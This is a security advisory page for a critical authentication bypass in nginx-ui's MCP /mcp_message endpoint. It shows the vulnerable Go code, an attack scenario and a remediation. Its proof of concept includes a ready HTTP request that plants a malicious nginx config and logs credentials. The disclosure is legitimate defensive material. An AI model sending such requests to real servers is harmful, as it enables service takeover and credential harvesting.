Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.
Details
Vulnerable Code
mcp/router.go:9-17 - Auth asymmetry between endpoints
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.
internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all
func IPWhiteList() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
// ...
}
}When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.
Available MCP Tools (all invocable without auth)
From mcp/nginx/:
restart_nginx- restart the nginx processreload_nginx- reload nginx configurationnginx_status- read nginx status
From mcp/config/:
nginx_config_add- create new nginx config filesnginx_config_modify- modify existing config filesnginx_config_list- list all configurationsnginx_config_get- read config file contentsnginx_config_enable- enable/disable sitesnginx_config_rename- rename config filesnginx_config_mkdir- create directoriesnginx_config_history- view config historynginx_config_base_path- get nginx config directory path
Attack Scenario
- Attacker sends HTTP requests to
http://target:9000/mcp_message(default port) - No authentication is required - IP whitelist is empty by default
- Attacker invokes
nginx_config_modifywithrelative_path="nginx.conf"to rewrite the main nginx configuration (e.g., inject a reverse proxy that logsAuthorizationheaders) nginx_config_addauto-reloads nginx (config_add.go:74), or attacker callsreload_nginxdirectly- All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied
PoC
1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })
// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.
2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:
var AuthSettings = &Auth{
BanThresholdMinutes: 10,
MaxAttempts: 10,
// IPWhiteList is not initialized - defaults to nil/empty slice
}And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}3. Config writes auto-reload nginx. From mcp/config/config_add.go:
err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload) // Line 74: immediate reload4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
"base_dir": "conf.d",
"overwrite": true,
"sync_node_ids": []
}
},
"id": 1
}No Authorization header is needed. The config is written and nginx reloads immediately.
Impact
- Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
- Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
- Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
- Configuration exfiltration: All existing nginx configs are readable via
nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting
access_logdirectives with customlog_formatpatterns, the attacker can captureAuthorizationheaders from administrators accessing nginx-ui, enabling escalation to the REST API
Remediation
Add middleware.AuthRequired() to the /mcp_message route:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.
Articles & Coverage 4
AnalysisAI
Remote unauthenticated nginx service takeover in nginx-ui's MCP integration allows network attackers to create, modify, or delete nginx configuration files and trigger automatic reloads without authentication. The /mcp_message endpoint lacks authentication middleware while exposing the same MCP tool handlers as the protected /mcp endpoint, and the IP whitelist defaults to empty (allow-all). Attackers can inject malicious server blocks to intercept credentials, exfiltrate backend topology, or crash nginx with invalid configs. CVSS 9.8 (Critical) with network attack vector, no authentication required, and high impact across confidentiality, integrity, and availability. No public exploit identified at time of analysis, though detailed proof-of-concept HTTP request provided in advisory.
The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cau
A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescap
An issue was discovered on GL.iNet devices before version 4.5.0. Rated critical severity (CVSS 9.8), this vulnerability
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range fi
The resolver in nginx before 1.8.1 and 1.9.x before 1.9.10 allows remote attackers to cause a denial of service (invalid
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
The STARTTLS implementation in mail/ngx_mail_smtp_handler.c in the SMTP proxy in nginx 1.5.x and 1.6.x before 1.6.1 and
Heap buffer overflow in NGINX Plus and NGINX Open Source ngx_http_rewrite_module allows remote attackers to crash worker
Same technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: CriticalShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-17158
GHSA-h6c2-x2m2-mwhf